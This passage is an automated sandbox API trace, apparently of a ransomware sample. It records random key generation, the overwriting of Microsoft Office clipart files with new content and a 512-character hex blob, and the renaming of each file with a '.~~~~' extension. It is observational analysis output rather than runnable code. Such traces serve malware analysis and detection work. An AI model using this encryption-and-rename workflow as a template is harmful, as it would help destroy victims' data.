	[0096.160] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0096.160] WriteFile (in: hFile=0x134, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0096.160] CloseHandle (hObject=0x134) returned 1
	[0096.160] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28dac90
	[0096.160] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102594.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0102594.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102594.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0102594.wmf.~~~~")) returned 1
	[0096.164] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0096.164] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0096.164] GetLastError () returned 0x0
	[0096.165] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0096.166] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0096.166] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0096.166] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0096.166] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0096.166] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0096.166] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=21615588953) returned 1
	[0096.166] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xa30703d0, dwHighDateTime=0x1d60e1e)) 
	[0096.166] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0096.166] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0096.166] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0096.166] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2840030
	[0096.166] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0096.166] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2840030 | out: hHeap=0x300000) returned 1
	[0096.166] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0096.166] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0096.166] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28dac90
	[0096.166] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0096.166] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x283fe40
	[0096.166] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0096.166] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0096.166] GetLastError () returned 0x0
	[0096.167] GetLastError () returned 0x0
	[0096.167] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0096.167] GetLastError () returned 0x0
	[0096.167] GetLastError () returned 0x0
	[0096.260] SetFilePointerEx (in: hFile=0x134, liDistanceToMove=0xffffbd70, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0096.261] WriteFile (in: hFile=0x134, lpBuffer=0x293b068*, nNumberOfBytesToWrite=0x4290, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x293b068*, lpNumberOfBytesWritten=0x24dfec0*=0x4290, lpOverlapped=0x0) returned 1
	[0096.261] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x293b068 | out: hHeap=0x300000) returned 1
	[0096.261] SetFilePointerEx (in: hFile=0x134, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0096.262] WriteFile (in: hFile=0x134, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0096.262] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0096.262] WriteFile (in: hFile=0x134, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0096.262] CloseHandle (hObject=0x134) returned 1
	[0096.262] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28dac90
	[0096.262] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102984.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0102984.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102984.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0102984.wmf.~~~~")) returned 1
	[0096.263] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0096.263] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0096.263] GetLastError () returned 0x0
	[0096.264] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0096.265] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0096.265] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0096.265] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0096.265] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0096.265] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0096.265] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=21625489064) returned 1
	[0096.265] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xa317ad70, dwHighDateTime=0x1d60e1e)) 
	[0096.265] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0096.265] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0096.265] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0096.265] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x28400d8
	[0096.265] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0096.265] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28400d8 | out: hHeap=0x300000) returned 1
	[0096.265] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0096.265] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0096.265] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28dac90
	[0096.265] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0096.265] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2841ff8
	[0096.265] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0096.265] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0096.265] GetLastError () returned 0x0
	[0096.266] GetLastError () returned 0x0
	[0096.266] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0096.266] GetLastError () returned 0x0
	[0096.266] GetLastError () returned 0x0
	[0096.419] SetFilePointerEx (in: hFile=0x134, liDistanceToMove=0xffff506c, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0096.419] WriteFile (in: hFile=0x134, lpBuffer=0x293b068*, nNumberOfBytesToWrite=0xaf94, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x293b068*, lpNumberOfBytesWritten=0x24dfec0*=0xaf94, lpOverlapped=0x0) returned 1
	[0096.421] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x293b068 | out: hHeap=0x300000) returned 1
	[0096.421] SetFilePointerEx (in: hFile=0x134, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0096.421] WriteFile (in: hFile=0x134, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0096.421] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0096.421] WriteFile (in: hFile=0x134, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0096.421] CloseHandle (hObject=0x134) returned 1
	[0096.421] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28dac90
	[0096.422] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103402.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103402.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103402.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103402.wmf.~~~~")) returned 1
	[0096.423] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0096.423] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0096.423] GetLastError () returned 0x0
	[0096.424] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0096.425] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0096.425] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0096.425] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0096.425] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0096.425] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0096.425] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=21641537072) returned 1
	[0096.425] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xa32f7b30, dwHighDateTime=0x1d60e1e)) 
	[0096.425] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0096.425] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0096.425] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0096.426] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2856300
	[0096.426] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0096.426] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2856300 | out: hHeap=0x300000) returned 1
	[0096.426] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0096.426] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0096.426] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28dac90
	[0096.426] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0096.426] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28421c0
	[0096.426] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0096.426] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0096.426] GetLastError () returned 0x0
	[0096.426] GetLastError () returned 0x0
	[0096.426] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0096.426] GetLastError () returned 0x0
	[0096.427] GetLastError () returned 0x0
	[0096.432] SetFilePointerEx (in: hFile=0x134, liDistanceToMove=0xffffea00, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0096.432] WriteFile (in: hFile=0x134, lpBuffer=0x293b068*, nNumberOfBytesToWrite=0x1600, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x293b068*, lpNumberOfBytesWritten=0x24dfec0*=0x1600, lpOverlapped=0x0) returned 1
	[0096.434] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x293b068 | out: hHeap=0x300000) returned 1
	[0096.434] SetFilePointerEx (in: hFile=0x134, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0096.434] WriteFile (in: hFile=0x134, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0096.434] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0096.434] WriteFile (in: hFile=0x134, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0096.434] CloseHandle (hObject=0x134) returned 1
	[0096.434] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28dac90
	[0096.434] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105232.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105232.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105232.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105232.wmf.~~~~")) returned 1
	[0096.435] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0096.435] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0096.435] GetLastError () returned 0x0
	[0096.437] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0096.438] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0096.438] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0096.438] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0096.438] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0096.438] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0096.438] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=21642793107) returned 1
	[0096.438] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xa331dc90, dwHighDateTime=0x1d60e1e)) 
	[0096.438] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0096.438] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0096.438] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0096.438] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x28401f0
	[0096.438] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0096.438] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28401f0 | out: hHeap=0x300000) returned 1
	[0096.438] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0096.438] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0096.438] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28dac90
	[0096.438] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0096.438] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2842420
	[0096.438] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0096.438] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0096.439] GetLastError () returned 0x0
	[0096.439] GetLastError () returned 0x0
	[0096.439] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0096.439] GetLastError () returned 0x0
	[0096.439] GetLastError () returned 0x0
	[0096.464] SetFilePointerEx (in: hFile=0x134, liDistanceToMove=0xfffff28c, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0096.464] WriteFile (in: hFile=0x134, lpBuffer=0x293b068*, nNumberOfBytesToWrite=0xd74, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x293b068*, lpNumberOfBytesWritten=0x24dfec0*=0xd74, lpOverlapped=0x0) returned 1
	[0096.465] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x293b068 | out: hHeap=0x300000) returned 1
	[0096.465] SetFilePointerEx (in: hFile=0x134, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0096.466] WriteFile (in: hFile=0x134, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0096.466] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0096.466] WriteFile (in: hFile=0x134, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0096.466] CloseHandle (hObject=0x134) returned 1
	[0096.466] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28dac90
	[0096.466] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105234.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105234.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105234.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105234.wmf.~~~~")) returned 1
	[0096.467] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0096.467] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0096.467] GetLastError () returned 0x0
	[0096.468] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0096.469] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0096.469] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0096.469] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0096.469] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0096.469] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0096.469] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=21645944076) returned 1
	[0096.469] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xa3369f50, dwHighDateTime=0x1d60e1e)) 
	[0096.469] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0096.469] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0096.470] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0096.470] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2840228
	[0096.470] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0096.470] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2840228 | out: hHeap=0x300000) returned 1
	[0096.470] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0096.470] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0096.470] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28dac90
	[0096.470] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0096.470] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28424b8
	[0096.470] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0096.470] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0096.470] GetLastError () returned 0x0
	[0096.470] GetLastError () returned 0x0
	[0096.470] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0096.471] GetLastError () returned 0x0
	[0096.471] GetLastError () returned 0x0
	[0096.504] SetFilePointerEx (in: hFile=0x134, liDistanceToMove=0xffffbcec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0096.504] WriteFile (in: hFile=0x134, lpBuffer=0x293b068*, nNumberOfBytesToWrite=0x4314, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x293b068*, lpNumberOfBytesWritten=0x24dfec0*=0x4314, lpOverlapped=0x0) returned 1
	[0096.506] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x293b068 | out: hHeap=0x300000) returned 1
	[0096.506] SetFilePointerEx (in: hFile=0x134, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
